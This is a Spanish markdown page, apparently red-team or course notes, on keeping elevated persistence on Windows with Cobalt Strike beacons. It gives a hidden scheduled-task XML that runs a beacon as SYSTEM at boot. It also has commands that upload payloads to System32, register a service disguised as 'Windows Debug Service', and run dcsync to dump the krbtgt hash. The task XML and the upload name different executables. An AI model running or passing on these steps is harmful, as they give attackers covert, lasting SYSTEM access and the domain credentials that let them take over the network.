Skip to content

4 - Persistencia Elevada.md

Latest commit

 

History

History
59 lines (47 loc) · 1.13 KB

4 - Persistencia Elevada.md

File metadata and controls

59 lines (47 loc) · 1.13 KB

Tarea Programada

Creas un task.xml en tu equipo.

<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
	<Triggers>
		<BootTrigger>
			<Enabled>true</Enabled>
		</BootTrigger>
	</Triggers>
	<Principals>
		<Principal>
			<UserId>NT AUTHORITY\SYSTEM</UserId>
			<RunLevel>HighestAvailable</RunLevel>
		</Principal>
	</Principals>
	<Settings>
		<AllowStartOnDemand>true</AllowStartOnDemand>
		<Enabled>true</Enabled>
		<Hidden>true</Hidden>
	</Settings>
	<Actions>
		<Exec>
			<Command>C:\Windows\System32\beacon_x64.exe</Command>
		</Exec>
	</Actions>
</Task>
beacon> cd C:\Windows\System32
beacon> upload C:\Payloads\dns_x64.exe
beacon> schtaskscreate \Beacon XML CREATE #Subes el XML

Servicio de Windows

beacon> cd C:\Windows\System32\
beacon> upload C:\Payloads\dns_x64.svc.exe
beacon> mv dns_x64.svc.exe debug_svc.exe

beacon> sc_create dbgsvc "Debug Service" C:\Windows\System32\debug_svc.exe "Windows Debug Service" 0 2 3
  • Verificar que se creo correctamente
beacon> sc_qc dbgsvc

Sacar Hashes

beacon> dcsync contoso.com CONTOSO\krbtgt